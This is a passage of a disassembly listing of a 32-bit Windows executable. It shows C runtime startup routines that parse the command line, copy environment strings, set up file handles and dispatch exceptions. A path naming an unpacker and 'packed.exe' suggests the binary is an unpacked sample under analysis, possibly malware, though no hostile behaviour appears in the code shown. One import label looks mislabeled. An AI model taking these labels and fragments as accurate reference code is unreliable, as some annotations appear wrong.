		or	eax, 0FFFFFFFFh
		jmp	short loc_41C77C
; ---------------------------------------------------------------------------

loc_41C773:				; CODE XREF: sub_41C63E+Fj
					; sub_41C63E+1Aj
		push	[ebp+arg_4]
		call	dword_4211A0	; UnhandledExceptionFilter

loc_41C77C:				; CODE XREF: sub_41C63E+2Cj
					; sub_41C63E+133j
		pop	ebx
		pop	ebp
		retn
sub_41C63E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C77F	proc near		; CODE XREF: sub_41C63E+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4383C8
		cmp	dword_438348, edx
		push	esi
		mov	eax, offset dword_438348
		jz	short loc_41C7AC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438348h[esi*4]

loc_41C7A1:				; CODE XREF: sub_41C77F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41C7AC
		cmp	[eax], edx
		jnz	short loc_41C7A1

loc_41C7AC:				; CODE XREF: sub_41C77F+16j
					; sub_41C77F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438348h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41C7BF
		cmp	[eax], edx
		jz	short locret_41C7C1

loc_41C7BF:				; CODE XREF: sub_41C77F+3Aj
		xor	eax, eax

locret_41C7C1:				; CODE XREF: sub_41C77F+3Ej
		retn
sub_41C77F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7C2	proc near		; CODE XREF: sub_417AF8+A5p
		cmp	dword_46AB0C, 0
		jnz	short loc_41C7D0
		call	sub_41C384

loc_41C7D0:				; CODE XREF: sub_41C7C2+7j
		push	esi
		mov	esi, dword_46AB04
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41C802

loc_41C7DD:				; CODE XREF: sub_41C7C2+33j
					; sub_41C7C2+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41C7FA
		test	al, al
		jz	short loc_41C7FA
		movzx	eax, al
		push	eax
		call	sub_41E6AC
		test	eax, eax
		pop	ecx
		jz	short loc_41C7DD
		inc	esi
		jmp	short loc_41C7DD
; ---------------------------------------------------------------------------

loc_41C7FA:				; CODE XREF: sub_41C7C2+21j
					; sub_41C7C2+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41C80C

loc_41C7FF:				; CODE XREF: sub_41C7C2+52j
		inc	esi
		jmp	short loc_41C80C
; ---------------------------------------------------------------------------

loc_41C802:				; CODE XREF: sub_41C7C2+19j
		cmp	al, 20h
		jbe	short loc_41C80C

loc_41C806:				; CODE XREF: sub_41C7C2+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41C806

loc_41C80C:				; CODE XREF: sub_41C7C2+3Bj
					; sub_41C7C2+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41C816
		cmp	al, 20h
		jbe	short loc_41C7FF

loc_41C816:				; CODE XREF: sub_41C7C2+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41C7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C81A	proc near		; CODE XREF: sub_417AF8+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_46AB0C, ebx
		push	esi
		push	edi
		jnz	short loc_41C82C
		call	sub_41C384

loc_41C82C:				; CODE XREF: sub_41C81A+Bj
		mov	esi, dword_4694E0
		xor	edi, edi

loc_41C834:				; CODE XREF: sub_41C81A+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41C84C
		cmp	al, 3Dh
		jz	short loc_41C83F
		inc	edi

loc_41C83F:				; CODE XREF: sub_41C81A+22j
		push	esi
		call	sub_415CF0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41C834
; ---------------------------------------------------------------------------

loc_41C84C:				; CODE XREF: sub_41C81A+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4694BC, esi
		jnz	short loc_41C86E
		push	9
		call	sub_417BEE
		pop	ecx

loc_41C86E:				; CODE XREF: sub_41C81A+4Aj
		mov	edi, dword_4694E0
		cmp	[edi], bl
		jz	short loc_41C8B1
		push	ebp

loc_41C879:				; CODE XREF: sub_41C81A+94j
		push	edi
		call	sub_415CF0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41C8AA
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41C89D
		push	9
		call	sub_417BEE
		pop	ecx

loc_41C89D:				; CODE XREF: sub_41C81A+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415C00
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41C8AA:				; CODE XREF: sub_41C81A+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41C879
		pop	ebp

loc_41C8B1:				; CODE XREF: sub_41C81A+5Cj
		push	dword_4694E0
		call	sub_415E3D
		pop	ecx
		mov	dword_4694E0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_46AB08, 1
		pop	ebx
		retn
sub_41C81A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8D3	proc near		; CODE XREF: sub_417AF8+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_46AB0C, ebx
		push	esi
		push	edi
		jnz	short loc_41C8EA
		call	sub_41C384

loc_41C8EA:				; CODE XREF: sub_41C8D3+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		mov	eax, dword_46AB04
		mov	off_4694CC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41C90F
		mov	edi, eax

loc_41C90F:				; CODE XREF: sub_41C8D3+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41C93F
		push	8
		call	sub_417BEE
		pop	ecx

loc_41C93F:				; CODE XREF: sub_41C8D3+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4694B4, esi
		pop	edi
		pop	esi
		mov	dword_4694B0, eax
		pop	ebx
		leave
		retn
sub_41C8D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96C	proc near		; CODE XREF: sub_41C8D3+47p
					; sub_41C8D3+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41C996
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41C996:				; CODE XREF: sub_41C96C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41C9DF

loc_41C99B:				; CODE XREF: sub_41C96C+58j
					; sub_41C96C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41C9CD
		test	dl, dl
		jz	short loc_41C9CD
		movzx	edx, dl
		test	byte_46A9E1[edx], 4
		jz	short loc_41C9C0
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9C0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41C9C0:				; CODE XREF: sub_41C96C+46j
					; sub_41C96C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C99B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41C99B
; ---------------------------------------------------------------------------

loc_41C9CD:				; CODE XREF: sub_41C96C+36j
					; sub_41C96C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9D7
		and	byte ptr [esi],	0
		inc	esi

loc_41C9D7:				; CODE XREF: sub_41C96C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA22
		inc	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------

loc_41C9DF:				; CODE XREF: sub_41C96C+2Dj
					; sub_41C96C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9EA
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41C9EA:				; CODE XREF: sub_41C96C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_46A9E1[ebx], 4
		jz	short loc_41CA05
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CA04
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41CA04:				; CODE XREF: sub_41C96C+91j
		inc	eax

loc_41CA05:				; CODE XREF: sub_41C96C+8Bj
		cmp	dl, 20h
		jz	short loc_41CA13
		test	dl, dl
		jz	short loc_41CA17
		cmp	dl, 9
		jnz	short loc_41C9DF

loc_41CA13:				; CODE XREF: sub_41C96C+9Cj
		test	dl, dl
		jnz	short loc_41CA1A

loc_41CA17:				; CODE XREF: sub_41C96C+A0j
		dec	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------

loc_41CA1A:				; CODE XREF: sub_41C96C+A9j
		test	esi, esi
		jz	short loc_41CA22
		and	byte ptr [esi-1], 0

loc_41CA22:				; CODE XREF: sub_41C96C+6Ej
					; sub_41C96C+71j ...
		and	[ebp+arg_10], 0

loc_41CA26:				; CODE XREF: sub_41C96C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F

loc_41CA2F:				; CODE XREF: sub_41C96C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CA3B
		cmp	dl, 9
		jnz	short loc_41CA3E

loc_41CA3B:				; CODE XREF: sub_41C96C+C8j
		inc	eax
		jmp	short loc_41CA2F
; ---------------------------------------------------------------------------

loc_41CA3E:				; CODE XREF: sub_41C96C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F
		test	edi, edi
		jz	short loc_41CA53
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41CA53:				; CODE XREF: sub_41C96C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41CA58:				; CODE XREF: sub_41C96C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41CA61:				; CODE XREF: sub_41C96C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CA6A
		inc	eax
		inc	ebx
		jmp	short loc_41CA61
; ---------------------------------------------------------------------------

loc_41CA6A:				; CODE XREF: sub_41C96C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA9B
		test	bl, 1
		jnz	short loc_41CA99
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CA88
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CA88
		mov	eax, edx
		jmp	short loc_41CA8B
; ---------------------------------------------------------------------------

loc_41CA88:				; CODE XREF: sub_41C96C+10Dj
					; sub_41C96C+116j
		mov	[ebp+arg_0], edi

loc_41CA8B:				; CODE XREF: sub_41C96C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41CA99:				; CODE XREF: sub_41C96C+106j
		shr	ebx, 1

loc_41CA9B:				; CODE XREF: sub_41C96C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CAB0
		inc	ebx

loc_41CAA3:				; CODE XREF: sub_41C96C+142j
		test	esi, esi
		jz	short loc_41CAAB
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41CAAB:				; CODE XREF: sub_41C96C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CAA3

loc_41CAB0:				; CODE XREF: sub_41C96C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CB00
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CAC6
		cmp	dl, 20h
		jz	short loc_41CB00
		cmp	dl, 9
		jz	short loc_41CB00

loc_41CAC6:				; CODE XREF: sub_41C96C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CAFA
		test	esi, esi
		jz	short loc_41CAE9
		movzx	ebx, dl
		test	byte_46A9E1[ebx], 4
		jz	short loc_41CAE2
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41CAE2:				; CODE XREF: sub_41C96C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CAF8
; ---------------------------------------------------------------------------

loc_41CAE9:				; CODE XREF: sub_41C96C+162j
		movzx	edx, dl
		test	byte_46A9E1[edx], 4
		jz	short loc_41CAF8
		inc	eax
		inc	dword ptr [ecx]

loc_41CAF8:				; CODE XREF: sub_41C96C+17Bj
					; sub_41C96C+187j
		inc	dword ptr [ecx]

loc_41CAFA:				; CODE XREF: sub_41C96C+15Ej
		inc	eax
		jmp	loc_41CA58
; ---------------------------------------------------------------------------

loc_41CB00:				; CODE XREF: sub_41C96C+148j
					; sub_41C96C+153j ...
		test	esi, esi
		jz	short loc_41CB08
		and	byte ptr [esi],	0
		inc	esi

loc_41CB08:				; CODE XREF: sub_41C96C+196j
		inc	dword ptr [ecx]
		jmp	loc_41CA26
; ---------------------------------------------------------------------------

loc_41CB0F:				; CODE XREF: sub_41C96C+BDj
					; sub_41C96C+D5j
		test	edi, edi
		jz	short loc_41CB16
		and	dword ptr [edi], 0

loc_41CB16:				; CODE XREF: sub_41C96C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB20	proc near		; CODE XREF: sub_417AF8+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_46964C
		push	ebx
		push	ebp
		mov	ebp, dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CB6E
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CB4F
		mov	dword_46964C, 1
		jmp	short loc_41CB77
; ---------------------------------------------------------------------------

loc_41CB4F:				; CODE XREF: sub_41CB20+21j
		call	dword_421040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41CC49
		mov	dword_46964C, 2
		jmp	loc_41CBFD
; ---------------------------------------------------------------------------

loc_41CB6E:				; CODE XREF: sub_41CB20+19j
		cmp	eax, 1
		jnz	loc_41CBF8

loc_41CB77:				; CODE XREF: sub_41CB20+2Dj
		cmp	esi, ebx
		jnz	short loc_41CB87
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41CC49

loc_41CB87:				; CODE XREF: sub_41CB20+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CB9C

loc_41CB8E:				; CODE XREF: sub_41CB20+73j
					; sub_41CB20+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E

loc_41CB9C:				; CODE XREF: sub_41CB20+6Cj
		sub	eax, esi
		mov	edi, dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CBED
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41CBED
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41CBE9
		push	[esp+18h+var_8]
		call	sub_415E3D
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_41CBE9:				; CODE XREF: sub_41CB20+B9j
		mov	ebx, [esp+18h+var_8]

loc_41CBED:				; CODE XREF: sub_41CB20+99j
					; sub_41CB20+A8j
		push	esi
		call	dword_421044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------

loc_41CBF8:				; CODE XREF: sub_41CB20+51j
		cmp	eax, 2
		jnz	short loc_41CC49

loc_41CBFD:				; CODE XREF: sub_41CB20+49j
		cmp	edi, ebx
		jnz	short loc_41CC0D
		call	dword_421040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CC49

loc_41CC0D:				; CODE XREF: sub_41CB20+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41CC1D

loc_41CC13:				; CODE XREF: sub_41CB20+F6j
					; sub_41CB20+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13

loc_41CC1D:				; CODE XREF: sub_41CB20+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41CC33
		xor	esi, esi
		jmp	short loc_41CC3E
; ---------------------------------------------------------------------------

loc_41CC33:				; CODE XREF: sub_41CB20+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4155D0
		add	esp, 0Ch

loc_41CC3E:				; CODE XREF: sub_41CB20+111j
		push	edi
		call	dword_4211A4	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------

loc_41CC49:				; CODE XREF: sub_41CB20+39j
					; sub_41CB20+61j ...
		xor	eax, eax

loc_41CC4B:				; CODE XREF: sub_41CB20+D6j
					; sub_41CB20+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41CB20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC52	proc near		; CODE XREF: sub_417AF8+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41CC72
		push	1Bh
		call	sub_417BEE
		pop	ecx

loc_41CC72:				; CODE XREF: sub_41CC52+16j
		mov	dword_46A7C0, esi
		mov	dword_46A8C0, 20h
		lea	eax, [esi+100h]

loc_41CC88:				; CODE XREF: sub_41CC52+52j
		cmp	esi, eax
		jnb	short loc_41CCA6
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_46A7C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------

loc_41CCA6:				; CODE XREF: sub_41CC52+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_421164	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41CD82
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41CD82
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41CCDC
		mov	esi, eax

loc_41CCDC:				; CODE XREF: sub_41CC52+86j
		cmp	dword_46A8C0, esi
		jge	short loc_41CD36
		mov	edi, offset dword_46A7C4

loc_41CCE9:				; CODE XREF: sub_41CC52+DAj
		push	100h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41CD30
		add	dword_46A8C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41CD07:				; CODE XREF: sub_41CC52+CFj
		cmp	eax, ecx
		jnb	short loc_41CD23
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41CD07
; ---------------------------------------------------------------------------

loc_41CD23:				; CODE XREF: sub_41CC52+B7j
		add	edi, 4
		cmp	dword_46A8C0, esi
		jl	short loc_41CCE9
		jmp	short loc_41CD36
; ---------------------------------------------------------------------------

loc_41CD30:				; CODE XREF: sub_41CC52+A4j
		mov	esi, dword_46A8C0

loc_41CD36:				; CODE XREF: sub_41CC52+90j
					; sub_41CC52+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41CD82

loc_41CD3C:				; CODE XREF: sub_41CC52+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41CD79
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41CD79
		test	cl, 8
		jnz	short loc_41CD5B
		push	eax
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41CD79

loc_41CD5B:				; CODE XREF: sub_41CC52+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41CD79:				; CODE XREF: sub_41CC52+EFj
					; sub_41CC52+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41CD3C

loc_41CD82:				; CODE XREF: sub_41CC52+65j
					; sub_41CC52+71j ...
		xor	ebx, ebx

loc_41CD84:				; CODE XREF: sub_41CC52+195j
		mov	eax, dword_46A7C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41CDDF
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41CD9F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41CDA9
; ---------------------------------------------------------------------------

loc_41CD9F:				; CODE XREF: sub_41CC52+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41CDA9:				; CODE XREF: sub_41CC52+14Bj
		push	eax
		call	dword_421034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41CDCE
		push	edi
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41CDCE
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41CDD4

loc_41CDCE:				; CODE XREF: sub_41CC52+163j
					; sub_41CC52+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41CDE3
; ---------------------------------------------------------------------------

loc_41CDD4:				; CODE XREF: sub_41CC52+17Aj
		cmp	eax, 3
		jnz	short loc_41CDE3
		or	byte ptr [esi+4], 8
		jmp	short loc_41CDE3
; ---------------------------------------------------------------------------

loc_41CDDF:				; CODE XREF: sub_41CC52+13Ej
		or	byte ptr [esi+4], 80h

loc_41CDE3:				; CODE XREF: sub_41CC52+180j
					; sub_41CC52+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41CD84
		push	dword_46A8C0
		call	dword_421038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41CC52	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE08	proc near		; DATA XREF: sub_417AF8+Ao
					; sub_41A69A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41CEA8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41CE3B:				; CODE XREF: sub_41CE08+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CEA1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CE8F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41CE8F
		js	short loc_41CE9A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416368
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4163AA
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41643E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41CE8F:				; CODE XREF: sub_41CE08+40j
					; sub_41CE08+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41CE3B
; ---------------------------------------------------------------------------

loc_41CE9A:				; CODE XREF: sub_41CE08+54j
		mov	eax, 0
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------

loc_41CEA1:				; CODE XREF: sub_41CE08+36j
		mov	eax, 1
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------

loc_41CEA8:				; CODE XREF: sub_41CE08+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41CEBD:				; CODE XREF: sub_41CE08+97j
					; sub_41CE08+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CE08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41CEE0	proc near		; CODE XREF: sub_417BEE+9p
					; sub_417C13+9p
		mov	eax, dword_4694E8
		cmp	eax, 1
		jz	short loc_41CEF7
		test	eax, eax
		jnz	short locret_41CF18
		cmp	dword_437D64, 1
		jnz	short locret_41CF18

loc_41CEF7:				; CODE XREF: sub_41CEE0+8j
		push	0FCh
		call	sub_41CF19
		mov	eax, dword_469650
		pop	ecx
		test	eax, eax
		jz	short loc_41CF0D
		call	eax

loc_41CF0D:				; CODE XREF: sub_41CEE0+29j
		push	0FFh
		call	sub_41CF19
		pop	ecx

locret_41CF18:				; CODE XREF: sub_41CEE0+Cj
					; sub_41CEE0+15j
		retn
sub_41CEE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF19	proc near		; CODE XREF: sub_417BEE+12p
					; sub_417C13+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4383D8

loc_41CF2C:				; CODE XREF: sub_41CF19+20j
		cmp	edx, [eax]
		jz	short loc_41CF3B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_438468
		jl	short loc_41CF2C

loc_41CF3B:				; CODE XREF: sub_41CF19+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4383D8[esi]
		jnz	loc_41D069
		mov	eax, dword_4694E8
		cmp	eax, 1
		jz	loc_41D043
		test	eax, eax
		jnz	short loc_41CF6C
		cmp	dword_437D64, 1
		jz	loc_41D043

loc_41CF6C:				; CODE XREF: sub_41CF19+44j
		cmp	edx, 0FCh
		jz	loc_41D069
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41CFA3
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx

loc_41CFA3:				; CODE XREF: sub_41CF19+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415CF0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
